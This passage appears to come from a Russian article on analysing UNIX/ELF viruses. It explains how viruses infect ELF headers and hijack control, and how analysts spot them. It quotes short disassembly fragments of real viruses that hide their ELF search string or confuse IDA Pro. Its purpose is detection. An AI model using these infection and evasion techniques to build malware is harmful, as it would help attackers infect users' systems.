Впрочем, по любому такой способ заражения слишком заметен. В нормальных программах исполняемый код никогда не попадает в ELF-заголовок, и его наличие там красноречиво свидетельствует о вирусном заражении. Загрузите исследуемый файл в любой HEX-редактор (например HIEW) и проанализируйте значение поля e_ehize. Стандартный заголовок, соответствующий текущим версиям ELF-файла, на платформе X86 (кстати, недавно переименованной в платформу Intel) имеет длину, равную 34 байтам. Другие значения в "честных" ELF-файлах мне видеть пока не доводилось (хотя я и не утверждаю, что таких файлов действительно нет – опыт работы с UNIX у меня небольшой). Только не пытайтесь загрузить зараженный файл в дизассемблер. Это бесполезно. Большинство из них (и IDA PRO в том числе) откажутся дизассемблировать область заголовка, и исследователь о факте заражения ничего не узнает!
Ниже приведен фрагмент файла, зараженного вирусом UNIX.inheader.6666. Обратите внимание на поле длины ELF-заголовка, обведенное квадратиком. Вирусное тело, начинающиеся с 34h байта, залито бордовым цветом. Сюда же направлена точка входа (в данном случае она равна 8048034h):


Рисунок 8 0x00D фрагмент HEX-дампа файла, зараженного вирусом UNIX.inheader.6666, внедряющимся в ELF-заголовок. Поля ELF-заголовка, модифицированные вирусом, взяты в рамку, а само тело вируса залито бордовым цветом
Как вариант, вирус может вклиниться между концом ELF-заголовка и началом Program Header Table. Заражение происходит так же, как и предыдущем случае, однако длина ELF-заголовка остается неизменной. Вирус оказывается в "сумеречной" области памяти, формально принадлежащей одному из сегментов, но де-факто считающейся "ничейной" и потому игнорируемой многими отладчиками и дизассемблерами. Если только вирус не переустановит на себя точку входа, дизассемблер даже не сочтет нужным заругаться по этому поводу. Поэтому какой бы замечательной IDA PRO ни была, а просматривать исследуемые файлы в HIEW'е все-таки необходимо! Учитывая, что об этом догадываются далеко не все эксперты по безопасности, данный способ заражения рискует стать весьма перспективным. К борьбе с вирусами, внедряющимися в заголовок ELF-файлов, будьте готовы!
Перехват управления путем коррекции точки входа
Успешно внедрится в файл – это только полдела. Для поддержки своей жизнедеятельности всякий вирус должен тем или иным способом перехватить на себя нить управления. Классический способ, активно использовавшийся еще во времена MS-DOS, сводится к коррекции точки входа, – одного из полей ELF/COFF/a.out заголовков файлов. В ELF-заголовке эту роль играет поле e_entry, в a.out – a_entry. Оба поля содержат виртуальный адрес (не смещение, отсчитываемое от начала файла) машинной инструкции, на которую должно быть передано управление.
При внедрении в файл вирус запоминает адрес оригинальной точки входа и переустанавливает ее на свое тело. Сделав все, что хотел сделать, он возвращает управление программе-носителю, используя сохраненный адрес. При всей видимой безупречности этой методики, она не лишена изъянов, обеспечивающих быстрое разоблачение вируса.
Во-первых, точка входа большинства честных файлов указывает на начало кодовой секции файла. Внедриться сюда трудно, и все существующие способы внедрения связаны с риском необратимого искажения исполняемого файла, приводящего к его полной неработоспособности. Точка входа, "вылетающая" за пределы секции .text, – явный признак вирусного заражения.
Во-вторых, анализ всякого подозрительного файла начинается в первую очередь с окрестностей точки входа (и ею же обычно и заканчивается), поэтому независимо от способа вторжения в файл вирусный код сразу же бросается в глаза.
В-третьих, точка входа – объект пристального внимания легиона дисковых ревизоров, сканеров, детекторов и всех прочих антивирусов.
Использовать точку входа для перехвата управления – слишком примитивно и, по мнению большинства создателей вирусных программ, даже позорно. Современные вирусы осваивают другие методики заражения и закладываться на анализ точки входа может только наивный (вот так и рождаются байки о неуловимых вирусах…).
Перехват управления путем внедрения своего кода в окрестности точки входа
Многие вирусы никак не изменяют точку входа, но внедряют по данному адресу команду перехода на свое тело, предварительно сохранив его оригинальное содержимое. Несмотря на кажущуюся элегантность этого алгоритма, он довольно капризен в работе и сложен в реализации. Начнем с того, что для сохранения оригинальной машинной инструкции, расположенной в точке входа, вирус должен определить ее длину, но без встроенного дизассемблера это сделать невозможно.
Большинство вирусов ограничивается тем, что сохраняет первые 16-байт (максимально возможная длина машинной команды на платформе Intel), а затем восстанавливает их обратно, так или иначе обходя запрет на модификацию кодового сегмента. Кто-то снабжает кодовый сегмент атрибутом Write, делая его доступным для записи (если не трогать атрибуты секций, то кодовый сегмент все равно будет можно модифицировать, но IDA PRO об этом не расскажет, т.к. с атрибутами сегментов она работать не умеет), кто-то использует функцию mprotect для изменения атрибутов страниц на лету. И тот, и другой способы слишком заметны, а инструкция перехода на тело вируса замета без очереди!
Более совершенные вирусы сканируют стартовую процедуру заражаемого файла в поисках инструкций call или jmp. А найдя таковую – подменяют вызываемый адрес на адрес своего тела. Несмотря на кажущуюся неуловимость, обнаружить такой способ перехвата управления очень легко. Первое и главное, – вирус, в отличие от легально вызываемых функций, никак не использует переданные ему в стеке аргументы. Он не имеет никаких понятий об их числе и наличии (машинный анализ количества переданных аргументов немыслим без интеграции в вирус полноценного дизассемблера, оснащенного мощным интеллектуальным анализатором). Вирус тщательно сохраняет все изменяемые регистры, опасаясь, что функции могут использовать регистровую передачу аргументов с неизвестным ему соглашением. Самое главное – при передаче управления оригинальной функции вирус должен либо удалить с верхушки стека адрес возврата (в противном случае их там окажется два), либо вызывать оригинальную функцию не командной call, но командой jmp. Для "честных" программ, написанных на языках высокого уровня и то, и другое крайне нетипично, благодаря чему вирус оказывается немедленно разоблачен.
Вирусы, перехватывающие управление в произвольной точке программы (зачастую чрезвычайно удаленной от точки входа), выявить намного труднее, поскольку приходится анализировать довольно большие, причем заранее неопределенные объемы кода. Впрочем, с удалением от точки входа стремительно возрастает риск, что данная ветка программы никогда не получит управление, поэтому все известные мне вирусы не выходят за границы первого встретившегося им RET.
На правах врезки "основные признаки вирусов"
Искажение структуры исполняемых файлов – характерный, но недостаточный признак вирусного заражения. Быть может, это защита хитрая такая или завуалированный способ самовыражения разработчика. К тому же некоторые вирусы ухитряются внедриться в файл практически без искажений его структуры. Однозначный ответ дает лишь полное дизассемблирование исследуемого файла, однако это слишком трудоемкий способ, требующий усидчивости, глубоких знаний операционной системы и неограниченного количества свободного времени. Поэтому на практике обычно прибегают к компромиссному варианту, сводящемуся к беглому просмотру дизассемблерного листинга на предмет поиска основных признаков вирусного заражения.
Большинство вирусов использует довольно специфический набор машинных команд и структур данных, практически никогда не встречающихся в "нормальных" приложениях. Конечно, разработчик вируса при желании может все это скрыть и распознать зараженный код тогда не удастся. Но это в теории. На практике же вирусы обычно оказываются настолько тупы, что обнаруживаются за считанные доли секунды.
Ведь чтобы заразить жертву, вирус прежде должен ее найти, отобрав среди всех кандидатов только файлы "своего" типа. Для определенности возьмем ELF. Тогда вирус будет вынужден считать его заголовок и сравнить четыре первых байта со строкой "⌂FELF", которой соответствует ASCII-последовательность 7F 45 4C 46. Конечно, если тело вируса зашифровано, вирус использует хеш-сравнение или же другие хитрые приемы программирования, строки "ELF" в теле зараженного файла не окажется, но более чем в половине всех существующих UNIX-вирусов она все-таки есть, и этот прием, несмотря на свою изумительную простоту, очень неплохо работает.
Загрузите исследуемый файл в любой HEX-редактор и попробуйте отыскать строку "⌂ELF". В зараженном файле таких строк будет две – она непосредственно в заголовке, другая – в кодовой секции или секции данных. Только не используйте дизассемблер! Очень многие вирусы преобразуют строку "⌂FELF" в 32-разрядную целочисленную константу 464С457Fh, которая маскирует присутствие вируса, но при переключении в режим дампа, сразу же "проявляется" на экране. Ниже приведен внешний вид файла, зараженного вирусом VirTool.Linux.Mmap.443, который использует именно такую методику:


Рисунок 9 0x001 фрагмент файла, зараженного вирусом VirTool.Linux.Mmap.443. В HEX-дампе легко обнаруживается строка "ELF", используемая вирусом для поиска жертв "своего" типа
Вирус Linux.Winter.343 (также известный под именем Lotek) по этой методике обнаружить не удается, поскольку он использует специальное математическое преобразование, зашифровывая строку "⌂ELF" на лету:

.text:08048473 mov eax, 0B9B3BA81h ; -"ELF" (минус "ELF")
.text:08048478 add eax, [ebx] ; первые четыре байта жертвы
.text:0804847A jnz short loc_804846E ;  это не ELF
Листинг 13 фрагмент вируса Lotek, тщательно скрывающего свой интерес к ELF-файлам
Непосредственное значение B9B3BA81h, соответствующее текстовой строке 'Б║│╣' (в приведенном выше листинге оно выделено жирным шрифтом), представляет собой не что иное, как строку "⌂ELF", преобразованную в 32-разрядную константу и умноженную на минус единицу. Складывая полученное значение с четырьмя первыми байтами жертвы, вирус получает ноль, если строки равны, и ненулевое значение в противном случае.
Как вариант, вирус может дополнять эталонную строку "⌂ELF" до единицы, и тогда в его теле будет присутствовать последовательность 80 BA B3 B9. Реже встречаются циклические сдвиги на одну, две, три… и семь позиций в различные стороны, неполные проверки (т. е. проверки на совпадение двух или трех байт) и некоторые другие операции – всех не перечислишь!
Более уязвимым с точки зрения скрытности является механизм реализации системных вызовов. Вирус не может позволить себе тащить за собой всю библиотеку LIBC, прилинкованную к нему статической компоновкой, поскольку существование подобного монстра трудно оставить незаметным. Существует несколько способов решения этой проблемы и наиболее популярный из них сводится к использованию native‑API операционной системы. Поскольку последний является прерогативой особенностей реализации данной конкретной системы, создатели UNIX де-факто отказались от многочисленных попыток его стандартизации. В частности, в System V (и ее многочисленных клонах) обращение к системным функциям происходит через дальний call по адресу 0007:00000000, а в Linux это осуществляется через служебное прерывание INT 80h (перечень номеров системных команд можно найти в файле /usr/include/asm/unistd.h). Таким образом, использование native‑API существенно ограничивает ареал обитания вируса, делая его непереносимым.
Честные программы в большинстве своем практически никогда не работают через native‑API (хотя утилиты из комплекта поставки Free BSD 4.5 ведут себя именно так), поэтому наличие большого количества машинных команд INT 80h/CALL 0007:0000000 (CD 80/9A 00 00 00 00 07 00) с высокой степенью вероятности свидетельствует о наличии вируса. Для предотвращения ложных срабатываний (т. е. обнаружения вируса там, где и следов его нет), вы должны не только обнаружить обращения к native‑API, но и проанализировать последовательность их вызовов. Для вирусов характерна следующая цепочка системных команд: sys_open, sys_lseek, old_mmap/sys_munmap, sys_write, sys_close, sys_exit. Реже используются вызовы exec и fork. Их, в частности, использует вирус STAOG.4744. Вирусы VirTool.Linux.Mmap.443, VirTool.Linux.Elfwrsec.a, PolyEngine.Linux.LIME.poly, Linux.Winter.343 и ряд других обходятся без этого.
Ниже приведен фрагмент файла, зараженного вирусом VirTool.Linux.Mmap.443. Наличие незамаскированных вызовов INT 80h с легкостью разоблачает агрессивную природу программного кода, указывая на склонность последнего к саморазмножению:


Рисунок 10 0x003 фрагмент файла, зараженного вирусом VirTool.Linux.Mmap.443, демаскирующим свое присутствие прямым обращением к native‑API операционной системы
А вот так для сравнения выглядят системные вызовы "честной" программы – утилиты cat из комплекта поставки Free BSD 4.5 (см. рис. 11). Инструкции прерывания не разбросаны по всему коду, а сгруппированы в собственных функциях-обертках. Конечно, вирус тоже может "обмазать" системные вызовы слоем переходного кода, но вряд ли у него получится подделать характер оберток конкретного заражаемого файла.


Рисунок 11 0x00E фрагмент "честного" файла cat из комплекта поставки Free BSD, аккуратно размещающего native‑API вызовы в функциях-обертках
Некоторые (впрочем, довольно немногочисленные) вирусы так просто не сдаются и используют различные методики, затрудняющие их анализ и обнаружение. Наиболее талантливые (или скорее прилежные) разработчики динамически генерируют инструкцию INT 80h/CALL 0007:00000000 на лету и, забрасывая ее на верхушку стека, скрытно передают ей управление. Как следствие – в дизассемблерном листинге исследуемой программы вызов INT 80h/INT 80h/CALL 0007:00000000 будет отсутствовать, и обнаружить такие вирусы можно лишь по многочисленным косвенным вызовам подпрограмм, находящихся в стеке. Это действительно нелегко, т. к. косвенные вызовы в изобилии присутствуют и в "честных" программах, а определение значений вызываемых адресов представляет собой серьезную проблему (во всяком случае при статическом анализе). С другой стороны, таких вирусов пока существует немного (да и те – сплошь лабораторные), так что никаких поводов для паники пока нет. А вот шифрование критических к раскрытию участков вирусного тела встречается гораздо чаще. Однако для дизассемблера IDA PRO это не бог весь какая сложная проблема, и даже многоуровневая шифровка снимается безмалейшего умственного и физического напряжения.
Впрочем, на каждую старуху есть проруха, и IDA Pro тому не исключение. При нормальном развитии событий IDA Pro автоматически определяет имена вызываемых функций, оформляя их как комментарии. Благодаря этому замечательному обстоятельству, для анализа исследуемого алгоритма нет нужды постоянно лезть в справочник. Такие вирусы, как, например, Linux.ZipWorm, не могут смириться с подобным положением дел и активно используют специальные приемы программирования, сбивающие дизассемблер с толку. Тот же Linux.ZipWorm проталкивает номера вызываемых функций через стек, что вводит IDA в замешательство, лишая ее возможности определения имен последних:

.text:080483C0 push 13h
.text:080483C2 push 2
.text:080483C4 sub ecx, ecx
.text:080483C6 pop edx
.text:080483C7 pop eax ; // EAX := 2. это вызов fork
.text:080483C8 int 80h ; LINUX -  IDA не смогла определить имя вызова!
Листинг 14 фрагмент вируса Linux.ZipWorm, активно и небезуспешно противостоящего дизассемблеру IDA Pro
С одной стороны, вирус действительно добился поставленной перед ним цели, и дизассемблерный листинг с отсутствующими автокомментариями с первого приступа не возьмешь. Но давайте попробуем взглянуть на ситуацию под другим углом. Сам факт применения антиотладочных приемов уже свидетельствует если не о заражении, то, во всяком случае, о ненормальности ситуации. Так что за противодействие анализу исследуемого файла вирусу приходится расплачиваться ослабленной маскировкой (в программистских кулуарах по этому случаю обычно говорят "из зараженного файла вирусные уши торчат").
Уши будут торчать еще и потому, что большинство вирусов никак не заботится о создании стартового кода или хотя бы плохонькой его имитации. В точке входа "честной" программы всегда (ну, или практически всегда) расположена нормальная функция с классическим прологом и эпилогом, автоматически распознаваемая дизассемблером IDA Pro, вот например:

text:080480B8 start proc near
text:080480B8
text:080480B8 push ebp
text:080480B9 mov ebp, esp
text:080480BB sub esp, 0Ch

text:0804813B ret
text:0804813B start endp
Листинг 15 пример нормальной стартовой функции с классическим прологом и эпилогом
В некоторых случаях стартовые функции передают бразды правления libc_start_main и заканчиваются по hlt без ret. Это вполне нормальное явление. "Вполне" потому что очень многие вирусы, написанные на ассемблере, получают в "подарок" от линкера такой же стартовый код. Поэтому присутствие стартового кода в исследуемом файле, не дает нам никаких оснований считать его здоровым.

.text:08048330 public start
.text:08048330 start proc near
.text:08048330 xor ebp, ebp
.text:08048332 pop esi
.text:08048333 mov ecx, esp
.text:08048335 and esp, 0FFFFFFF8h
.text:08048338 push eax
.text:08048339 push esp
.text:0804833A push edx
.text:0804833B push offset sub_804859C
.text:08048340 push offset sub_80482BC
.text:08048345 push ecx
.text:08048346 push esi
.text:08048347 push offset loc_8048430
.text:0804834C call ___libc_start_main
.text:08048351 hlt
.text:08048352 nop
.text:08048353 nop
.text:08048353 start endp
Листинг 16 альтернативный пример нормальной стартовой функции
Большинство зараженных файлов выглядит иначе. В частности, стартовый код вируса PolyEngine.Linux.LIME.poly выглядит так:

.data:080499C1 LIME_END: ; Alternative name is 'main'
.data:080499C1 mov eax, 4
.data:080499C6 mov ebx, 1
.data:080499CB mov ecx, offset gen_msg ; "Generates 50 [LiME] encrypted…"
.data:080499D0 mov edx, 2Dh
.data:080499D5 int 80h ; LINUX - sys_write
.data:080499D7 mov ecx, 32h
Листинг 17 стартовый код вируса PolyEngine.Linux.LIME.poly
Заключение
Несмотря на свой, прямо скажем, далеко не маленький размер, настоящая статья охватила далеко не весь круг изначально намеченных тем. Незатронутыми остались вопросы "прорыва" виртуальной машины интерпретатором, техника выявления Stealth-вирусов и противодействия им, жизненный цикл червей и комплекс мер, направленных на предотвращение возможного вторжения…
Обо всем этом и многом другом мы поговорим в следующий раз, если, конечно, к тому времени эта тема никому не надоест…